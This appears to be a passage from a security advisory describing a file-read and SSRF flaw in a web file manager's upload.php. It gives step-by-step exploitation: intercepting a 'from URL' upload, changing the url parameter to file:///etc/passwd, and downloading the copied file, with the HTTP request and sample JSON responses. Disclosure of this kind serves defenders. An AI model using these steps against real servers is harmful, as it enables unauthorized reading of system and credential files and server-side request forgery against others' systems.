1. Submit an upload request via the "FROM URL" and intercept with any proxy;  
2. Change the parameter "url" to file:///{server_files}, in this example,  
the parameter "url" was changed to file:///etc/passwd;  
  
POST /filemanager/upload.php HTTP/1.1  
Host: www.[...]  
Accept: */*  
Accept-Language: en-US,en;q=0.5

3.Wait for the answer, if everything is ok, you'll get a response similar  
to this:  
  
{"files":[{"name":"passwd.txt","size":1612,"type":null,"path":"\/usr\/share\/tinymce\/www\/filemanager\/..\/source\/testess\/passwd.txt","url":"http:\/\/[...]\/source\/testess\/passwd.txt","deleteUrl":"http:\/\/[...]\/filemanager\/upload.php?file=passwd.txt","deleteType":"DELETE"}]}  
  
4. Done, access the folder inserted in the "fldr" parameter and you can be  
able to download the file from folder.  
  
P.S:If the answer is similar to the following, possibly the user of the  
service web, does not have permission on the file. If the size is equal to  
0, the file may not exist.  
  
{"files":[{"name":"passwd","size":1573,"type":null,"error":"Filetype not  
allowed"}]}  
  
=====[ Aggravating factors ]===================================  
  
This functionality uses the input of the parameter "url" at the function  
curl_exec. This function can be used by other protocols, like  
smb,ftp,scp,telnet and others, impacting on a SSRF.
